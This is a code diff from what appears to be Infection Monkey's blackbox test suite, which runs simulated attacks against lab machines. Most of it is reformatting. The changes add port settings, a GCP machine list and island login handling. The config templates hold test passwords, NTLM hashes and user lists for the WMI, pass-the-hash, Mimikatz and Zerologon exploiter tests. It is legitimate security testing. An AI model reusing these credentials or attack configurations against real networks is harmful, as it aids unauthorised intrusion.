--- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py
+++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py
@@ -7,17 +7,19 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class WmiMimikatz(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["WmiExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.14",
- "10.2.2.15"],
- "basic.credentials.exploit_password_list": ["Password1!",
- "Ivrrw5zEzs"],
- "basic.credentials.exploit_user_list": ["Administrator",
- "m0nk3y",
- "user"],
- "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector",
- "HostnameCollector",
- "ProcessListCollector",
- "MimikatzCollector"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["WmiExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
+ "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [135],
+ "monkey.system_info.system_info_collector_classes": [
+ "EnvironmentCollector",
+ "HostnameCollector",
+ "ProcessListCollector",
+ "MimikatzCollector",
+ ],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
index 92746c3df..84e7f3f70 100644
--- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
+++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py
@@ -14,6 +14,8 @@ class WmiPth(ConfigTemplate):
"basic.credentials.exploit_password_list": ["Password1!"],
"basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [135],
"internal.exploits.exploit_ntlm_hash_list": [
"5da0889ea2081aa79f6852294cba4a5e",
"50c9987a6bf1ac59398df9f911122c9b",
diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py
index 28afa281f..93ebd5301 100644
--- a/envs/monkey_zoo/blackbox/config_templates/zerologon.py
+++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py
@@ -8,9 +8,13 @@ class Zerologon(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["ZerologonExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.25"],
- # Empty list to make sure ZeroLogon adds "Administrator" username
- "basic.credentials.exploit_user_list": []
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["ZerologonExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.25"],
+ # Empty list to make sure ZeroLogon adds "Administrator" username
+ "basic.credentials.exploit_user_list": [],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [135, 445],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py
index 4909bcbc7..cc608fae8 100644
--- a/envs/monkey_zoo/blackbox/conftest.py
+++ b/envs/monkey_zoo/blackbox/conftest.py
@@ -2,25 +2,52 @@ import pytest
def pytest_addoption(parser):
- parser.addoption("--island", action="store", default="",
- help="Specify the Monkey Island address (host+port).")
- parser.addoption("--no-gcp", action="store_true", default=False,
- help="Use for no interaction with the cloud.")
- parser.addoption("--quick-performance-tests", action="store_true", default=False,
- help="If enabled performance tests won't reset island and won't send telemetries, "
- "instead will just test performance of already present island state.")
+ parser.addoption(
+ "--island",
+ action="store",
+ default="",
+ help="Specify the Monkey Island address (host+port).",
+ )
+ parser.addoption(
+ "--no-gcp",
+ action="store_true",
+ default=False,
+ help="Use for no interaction with the cloud.",
+ )
+ parser.addoption(
+ "--quick-performance-tests",
+ action="store_true",
+ default=False,
+ help="If enabled performance tests won't reset island and won't send telemetries, "
+ "instead will just test performance of already present island state.",
+ )
+ parser.addoption(
+ "--run-performance-tests",
+ action="store_true",
+ default=False,
+ help="If enabled performance tests will be run.",
+ )
-@pytest.fixture(scope='session')
+@pytest.fixture(scope="session")
def island(request):
return request.config.getoption("--island")
-@pytest.fixture(scope='session')
+@pytest.fixture(scope="session")
def no_gcp(request):
return request.config.getoption("--no-gcp")
-@pytest.fixture(scope='session')
+@pytest.fixture(scope="session")
def quick_performance_tests(request):
return request.config.getoption("--quick-performance-tests")
+
+
+def pytest_runtest_setup(item):
+ if "run_performance_tests" in item.keywords and not item.config.getoption(
+ "--run-performance-tests"
+ ):
+ pytest.skip(
+ "Skipping performance test because " "--run-performance-tests flag isn't specified."
+ )
diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py
new file mode 100644
index 000000000..43246ad24
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py
@@ -0,0 +1,22 @@
+GCP_TEST_MACHINE_LIST = [
+ "sshkeys-11",
+ "sshkeys-12",
+ "elastic-4",
+ "elastic-5",
+ "hadoop-2",
+ "hadoop-3",
+ "mssql-16",
+ "mimikatz-14",
+ "mimikatz-15",
+ "struts2-23",
+ "struts2-24",
+ "tunneling-9",
+ "tunneling-10",
+ "tunneling-11",
+ "tunneling-12",
+ "weblogic-18",
+ "weblogic-19",
+ "shellshock-8",
+ "zerologon-25",
+ "drupal-28",
+]
diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py
index 5b7211f87..eda2def01 100644
--- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py
+++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py
@@ -3,28 +3,27 @@ import json
import dpath.util
from typing_extensions import Type
-from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
+from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
class IslandConfigParser:
-
@staticmethod
- def get_raw_config(config_template: Type[ConfigTemplate],
- island_client: MonkeyIslandClient) -> str:
+ def get_raw_config(
+ config_template: Type[ConfigTemplate], island_client: MonkeyIslandClient
+ ) -> str:
response = island_client.get_config()
- config = IslandConfigParser.apply_template_to_config(config_template, response['configuration'])
+ config = IslandConfigParser.apply_template_to_config(
+ config_template, response["configuration"]
+ )
return json.dumps(config)
@staticmethod
- def apply_template_to_config(config_template: Type[ConfigTemplate],
- config: dict) -> dict:
+ def apply_template_to_config(config_template: Type[ConfigTemplate], config: dict) -> dict:
for path, value in config_template.config_values.items():
- dpath.util.set(config, path, value, '.')
+ dpath.util.set(config, path, value, ".")
return config
@staticmethod
def get_ips_of_targets(raw_config):
- return dpath.util.get(json.loads(raw_config),
- "basic_network.scope.subnet_scan_list",
- '.')
+ return dpath.util.get(json.loads(raw_config), "basic_network.scope.subnet_scan_list", ".")
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
index 304996ebd..5c5b57e09 100644
--- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
@@ -8,9 +8,9 @@ from bson import json_util
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
-MONKEY_TEST_ENDPOINT = 'api/test/monkey'
-TELEMETRY_TEST_ENDPOINT = 'api/test/telemetry'
-LOG_TEST_ENDPOINT = 'api/test/log'
+MONKEY_TEST_ENDPOINT = "api/test/monkey"
+TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
+LOG_TEST_ENDPOINT = "api/test/log"
LOGGER = logging.getLogger(__name__)
@@ -44,7 +44,7 @@ class MonkeyIslandClient(object):
@staticmethod
def monkey_ran_successfully(response):
- return response.ok and json.loads(response.content)['is_running']
+ return response.ok and json.loads(response.content)["is_running"]
@avoid_race_condition
def kill_all_monkeys(self):
@@ -62,40 +62,48 @@ class MonkeyIslandClient(object):
LOGGER.error("Failed to reset the environment.")
assert False
+ @avoid_race_condition
+ def set_scenario(self, scenario):
+ self.requests.post_json("api/island-mode", {"mode": scenario})
+
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
- response = self.requests.get(MONKEY_TEST_ENDPOINT,
- MonkeyIslandClient.form_find_query_for_request(query))
+ response = self.requests.get(
+ MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
+ )
return MonkeyIslandClient.get_test_query_results(response)
def find_telems_in_db(self, query: dict):
if query is None:
raise TypeError
- response = self.requests.get(TELEMETRY_TEST_ENDPOINT,
- MonkeyIslandClient.form_find_query_for_request(query))
+ response = self.requests.get(
+ TELEMETRY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
+ )
return MonkeyIslandClient.get_test_query_results(response)
def get_all_monkeys_from_db(self):
- response = self.requests.get(MONKEY_TEST_ENDPOINT,
- MonkeyIslandClient.form_find_query_for_request(None))
+ response = self.requests.get(
+ MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
+ )
return MonkeyIslandClient.get_test_query_results(response)
def find_log_in_db(self, query):
- response = self.requests.get(LOG_TEST_ENDPOINT,
- MonkeyIslandClient.form_find_query_for_request(query))
+ response = self.requests.get(
+ LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
+ )
return MonkeyIslandClient.get_test_query_results(response)
@staticmethod
def form_find_query_for_request(query: Union[dict, None]) -> dict:
- return {'find_query': json_util.dumps(query)}
+ return {"find_query": json_util.dumps(query)}
@staticmethod
def get_test_query_results(response):
- return json.loads(response.content)['results']
+ return json.loads(response.content)["results"]
def is_all_monkeys_dead(self):
- query = {'dead': False}
+ query = {"dead": False}
return len(self.find_monkeys_in_db(query)) == 0
def clear_caches(self):
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
index 226a0043c..8e8392b9e 100644
--- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
@@ -8,20 +8,25 @@ import requests
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
-NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
- '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
+NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()"
LOGGER = logging.getLogger(__name__)
+class AuthenticationFailedError(Exception):
+ pass
+
+
# noinspection PyArgumentList
class MonkeyIslandRequests(object):
def __init__(self, server_address):
self.addr = "https://{IP}/".format(IP=server_address)
self.token = self.try_get_jwt_from_server()
- self.supported_request_methods = {SupportedRequestMethod.GET: self.get,
- SupportedRequestMethod.POST: self.post,
- SupportedRequestMethod.PATCH: self.patch,
- SupportedRequestMethod.DELETE: self.delete}
+ self.supported_request_methods = {
+ SupportedRequestMethod.GET: self.get,
+ SupportedRequestMethod.POST: self.post,
+ SupportedRequestMethod.PATCH: self.patch,
+ SupportedRequestMethod.DELETE: self.delete,
+ }
def get_request_time(self, url, method: SupportedRequestMethod, data=None):
response = self.send_request_by_method(url, method, data)
@@ -42,11 +47,32 @@ class MonkeyIslandRequests(object):
def try_get_jwt_from_server(self):
try:
return self.get_jwt_from_server()
+ except AuthenticationFailedError:
+ self.try_set_island_to_no_password()
+ return self.get_jwt_from_server()
except requests.ConnectionError as err:
LOGGER.error(
- "Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
+ "Unable to connect to island, aborting! Error information: {}. Server: {}".format(
+ err, self.addr
+ )
+ )
assert False
+ def get_jwt_from_server(self):
+ resp = requests.post( # noqa: DUO123
+ self.addr + "api/auth",
+ json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
+ verify=False,
+ )
+ if resp.status_code == 401:
+ raise AuthenticationFailedError
+ return resp.json()["access_token"]
+
+ def try_set_island_to_no_password(self):
+ requests.patch( # noqa: DUO123
+ self.addr + "api/environment", json={"server_config": "standard"}, verify=False
+ )
+
class _Decorators:
@classmethod
def refresh_jwt_token(cls, request_function):
@@ -58,46 +84,38 @@ class MonkeyIslandRequests(object):
return request_function_wrapper
- def get_jwt_from_server(self):
- resp = requests.post(self.addr + "api/auth", # noqa: DUO123
- json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
- verify=False)
- return resp.json()["access_token"]
-
@_Decorators.refresh_jwt_token
def get(self, url, data=None):
- return requests.get(self.addr + url, # noqa: DUO123
- headers=self.get_jwt_header(),
- params=data,
- verify=False)
+ return requests.get( # noqa: DUO123
+ self.addr + url,
+ headers=self.get_jwt_header(),
+ params=data,
+ verify=False,
+ )
@_Decorators.refresh_jwt_token
def post(self, url, data):
- return requests.post(self.addr + url, # noqa: DUO123
- data=data,
- headers=self.get_jwt_header(),
- verify=False)
+ return requests.post( # noqa: DUO123
+ self.addr + url, data=data, headers=self.get_jwt_header(), verify=False
+ )
@_Decorators.refresh_jwt_token
def post_json(self, url, data: Dict):
- return requests.post(self.addr + url, # noqa: DUO123
- json=data,
- headers=self.get_jwt_header(),
- verify=False)
+ return requests.post( # noqa: DUO123
+ self.addr + url, json=data, headers=self.get_jwt_header(), verify=False
+ )
@_Decorators.refresh_jwt_token
def patch(self, url, data: Dict):
- return requests.patch(self.addr + url, # noqa: DUO123
- data=data,
- headers=self.get_jwt_header(),
- verify=False)
+ return requests.patch( # noqa: DUO123
+ self.addr + url, data=data, headers=self.get_jwt_header(), verify=False
+ )
@_Decorators.refresh_jwt_token
def delete(self, url):
- return requests.delete( # noqa: DOU123
- self.addr + url,
- headers=self.get_jwt_header(),
- verify=False)
+ return requests.delete( # noqa: DUO123
+ self.addr + url, headers=self.get_jwt_header(), verify=False
+ )
@_Decorators.refresh_jwt_token
def get_jwt_header(self):
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py
index b7f424a69..f49b199a1 100644
--- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py
@@ -12,16 +12,16 @@ class MonkeyLog(object):
self.log_dir_path = log_dir_path
def download_log(self, island_client):
- log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])})
+ log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["id"])})
if not log:
- LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0]))
+ LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
return False
else:
self.write_log_to_file(log)
return True
def write_log_to_file(self, log):
- with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file:
+ with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
log_file.write(MonkeyLog.parse_log(log))
@staticmethod
@@ -32,7 +32,7 @@ class MonkeyLog(object):
@staticmethod
def get_filename_for_monkey_log(monkey):
- return "{}.txt".format(monkey['ip_addresses'][0])
+ return "{}.txt".format(monkey["ip_addresses"][0])
def get_log_path_for_monkey(self, monkey):
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py
index 44804a1fd..6a046a474 100644
--- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py
@@ -5,13 +5,12 @@ LOGGER = logging.getLogger(__name__)
class MonkeyLogParser(object):
-
def __init__(self, log_path):
self.log_path = log_path
self.log_contents = self.read_log()
def read_log(self):
- with open(self.log_path, 'r') as log:
+ with open(self.log_path, "r") as log:
return log.read()
def print_errors(self):
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py
index dbed46780..302da8fc7 100644
--- a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py
@@ -6,7 +6,6 @@ LOGGER = logging.getLogger(__name__)
class MonkeyLogsDownloader(object):
-
def __init__(self, island_client, log_dir_path):
self.island_client = island_client
self.log_dir_path = log_dir_path
diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py
index bae6a9adc..55a242bec 100644
--- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py
+++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py
@@ -5,7 +5,7 @@ import shutil
from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
-LOG_DIR_NAME = 'logs'
+LOG_DIR_NAME = "logs"
LOGGER = logging.getLogger(__name__)
@@ -18,8 +18,10 @@ class TestLogsHandler(object):
def parse_test_logs(self):
log_paths = self.download_logs()
if not log_paths:
- LOGGER.error("No logs were downloaded. Maybe no monkeys were ran "
- "or early exception prevented log download?")
+ LOGGER.error(
+ "No logs were downloaded. Maybe no monkeys were ran "
+ "or early exception prevented log download?"
+ )
return
TestLogsHandler.parse_logs(log_paths)
diff --git a/envs/monkey_zoo/blackbox/requirements.txt b/envs/monkey_zoo/blackbox/requirements.txt
deleted file mode 100644
index 0e6bd0ea3..000000000
--- a/envs/monkey_zoo/blackbox/requirements.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-pytest
-unittest
diff --git a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py
new file mode 100755
index 000000000..f31a072f9
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python3
+
+from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
+from utils.gcp_machine_handlers import GCPHandler
+
+gcp_handler = GCPHandler()
+gcp_handler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
diff --git a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py
new file mode 100755
index 000000000..132191e94
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python3
+
+from gcp_test_machine_list import GCP_TEST_MACHINE_LIST
+from utils.gcp_machine_handlers import GCPHandler
+
+gcp_handler = GCPHandler()
+gcp_handler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py
index bfcf32fba..5cd67d7ec 100644
--- a/envs/monkey_zoo/blackbox/test_blackbox.py
+++ b/envs/monkey_zoo/blackbox/test_blackbox.py
@@ -5,13 +5,8 @@ from time import sleep
import pytest
from typing_extensions import Type
-from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \
- CommunicationAnalyzer
+from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer
-from envs.monkey_zoo.blackbox.island_client.island_config_parser import \
- IslandConfigParser
-from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \
- MonkeyIslandClient
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
@@ -28,37 +23,41 @@ from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic
from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz
from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth
from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon
-from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \
- TestLogsHandler
+from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST
+from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
+from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
+from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
-from envs.monkey_zoo.blackbox.tests.performance.map_generation import \
- MapGenerationTest
-from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import \
- MapGenerationFromTelemetryTest
-from envs.monkey_zoo.blackbox.tests.performance.report_generation import \
- ReportGenerationTest
-from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import \
- ReportGenerationFromTelemetryTest
-from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \
- TelemetryPerformanceTest
+from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest
+from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import (
+ MapGenerationFromTelemetryTest,
+)
+from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest
+from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import (
+ ReportGenerationFromTelemetryTest,
+)
+from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import (
+ TelemetryPerformanceTest,
+)
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
+from monkey_island.cc.services.mode.mode_enum import IslandModeEnum
-DEFAULT_TIMEOUT_SECONDS = 5*60
+DEFAULT_TIMEOUT_SECONDS = 5 * 60
MACHINE_BOOTUP_WAIT_SECONDS = 30
-GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
- 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
- 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25',
- 'drupal-28']
LOG_DIR_PATH = "./logs"
logging.basicConfig(level=logging.INFO)
LOGGER = logging.getLogger(__name__)
-@pytest.fixture(autouse=True, scope='session')
+@pytest.fixture(autouse=True, scope="session")
def GCPHandler(request, no_gcp):
if not no_gcp:
- GCPHandler = gcp_machine_handlers.GCPHandler()
- GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
+ try:
+ GCPHandler = gcp_machine_handlers.GCPHandler()
+ GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
+ except Exception as e:
+ LOGGER.error("GCP Handler failed to initialize: %s." % e)
+ pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.")
wait_machine_bootup()
def fin():
@@ -67,7 +66,7 @@ def GCPHandler(request, no_gcp):
request.addfinalizer(fin)
-@pytest.fixture(autouse=True, scope='session')
+@pytest.fixture(autouse=True, scope="session")
def delete_logs():
LOGGER.info("Deleting monkey logs before new tests.")
TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path())
@@ -77,57 +76,77 @@ def wait_machine_bootup():
sleep(MACHINE_BOOTUP_WAIT_SECONDS)
-@pytest.fixture(scope='class')
+@pytest.fixture(scope="class")
def island_client(island, quick_performance_tests):
- island_client_object = MonkeyIslandClient(island)
+ client_established = False
+ try:
+ island_client_object = MonkeyIslandClient(island)
+ client_established = island_client_object.get_api_status()
+ except Exception:
+ logging.exception("Got an exception while trying to establish connection to the Island.")
+ finally:
+ if not client_established:
+ pytest.exit("BB tests couldn't establish communication to the island.")
if not quick_performance_tests:
island_client_object.reset_env()
+ island_client_object.set_scenario(IslandModeEnum.ADVANCED.value)
yield island_client_object
-@pytest.mark.usefixtures('island_client')
+@pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences
class TestMonkeyBlackbox:
-
@staticmethod
- def run_exploitation_test(island_client: MonkeyIslandClient,
- config_template: Type[ConfigTemplate],
- test_name: str,
- timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
+ def run_exploitation_test(
+ island_client: MonkeyIslandClient,
+ config_template: Type[ConfigTemplate],
+ test_name: str,
+ timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS,
+ ):
raw_config = IslandConfigParser.get_raw_config(config_template, island_client)
- analyzer = CommunicationAnalyzer(island_client,
- IslandConfigParser.get_ips_of_targets(raw_config))
- log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
+ analyzer = CommunicationAnalyzer(
+ island_client, IslandConfigParser.get_ips_of_targets(raw_config)
+ )
+ log_handler = TestLogsHandler(
+ test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()
+ )
ExploitationTest(
name=test_name,
island_client=island_client,
raw_config=raw_config,
analyzers=[analyzer],
timeout=timeout_in_seconds,
- log_handler=log_handler).run()
+ log_handler=log_handler,
+ ).run()
@staticmethod
- def run_performance_test(performance_test_class, island_client,
- config_template, timeout_in_seconds, break_on_timeout=False):
+ def run_performance_test(
+ performance_test_class,
+ island_client,
+ config_template,
+ timeout_in_seconds,
+ break_on_timeout=False,
+ ):
raw_config = IslandConfigParser.get_raw_config(config_template, island_client)
- log_handler = TestLogsHandler(performance_test_class.TEST_NAME,
- island_client,
- TestMonkeyBlackbox.get_log_dir_path())
- analyzers = [CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config))]
- performance_test_class(island_client=island_client,
- raw_config=raw_config,
- analyzers=analyzers,
- timeout=timeout_in_seconds,
- log_handler=log_handler,
- break_on_timeout=break_on_timeout).run()
+ log_handler = TestLogsHandler(
+ performance_test_class.TEST_NAME, island_client, TestMonkeyBlackbox.get_log_dir_path()
+ )
+ analyzers = [
+ CommunicationAnalyzer(island_client, IslandConfigParser.get_ips_of_targets(raw_config))
+ ]
+ performance_test_class(
+ island_client=island_client,
+ raw_config=raw_config,
+ analyzers=analyzers,
+ timeout=timeout_in_seconds,
+ log_handler=log_handler,
+ break_on_timeout=break_on_timeout,
+ ).run()
@staticmethod
def get_log_dir_path():
return os.path.abspath(LOG_DIR_PATH)
- def test_server_online(self, island_client):
- assert island_client.get_api_status() is not None
-
def test_ssh_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys")
@@ -138,7 +157,9 @@ class TestMonkeyBlackbox:
TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter")
def test_smb_and_mimikatz_exploiters(self, island_client):
- TestMonkeyBlackbox.run_exploitation_test(island_client, SmbMimikatz, "SMB_exploiter_mimikatz")
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, SmbMimikatz, "SMB_exploiter_mimikatz"
+ )
def test_smb_pth(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH")
@@ -150,7 +171,7 @@ class TestMonkeyBlackbox:
TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter")
def test_struts_exploiter(self, island_client):
- TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Strtuts2_exploiter")
+ TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter")
def test_weblogic_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
@@ -159,31 +180,42 @@ class TestMonkeyBlackbox:
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter")
def test_tunneling(self, island_client):
- TestMonkeyBlackbox.run_exploitation_test(island_client, Tunneling, "Tunneling_exploiter", 15 * 60)
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, Tunneling, "Tunneling_exploiter", 15 * 60
+ )
def test_wmi_and_mimikatz_exploiters(self, island_client):
- TestMonkeyBlackbox.run_exploitation_test(island_client, WmiMimikatz, "WMI_exploiter,_mimikatz")
+ TestMonkeyBlackbox.run_exploitation_test(
+ island_client, WmiMimikatz, "WMI_exploiter,_mimikatz"
+ )
def test_wmi_pth(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH")
def test_zerologon_exploiter(self, island_client):
test_name = "Zerologon_exploiter"
- expected_creds = ["Administrator",
- "aad3b435b51404eeaad3b435b51404ee",
- "2864b62ea4496934a5d6e86f50b834a5"]
+ expected_creds = [
+ "Administrator",
+ "aad3b435b51404eeaad3b435b51404ee",
+ "2864b62ea4496934a5d6e86f50b834a5",
+ ]
raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client)
analyzer = ZerologonAnalyzer(island_client, expected_creds)
- log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
+ log_handler = TestLogsHandler(
+ test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()
+ )
ExploitationTest(
name=test_name,
island_client=island_client,
raw_config=raw_config,
analyzers=[analyzer],
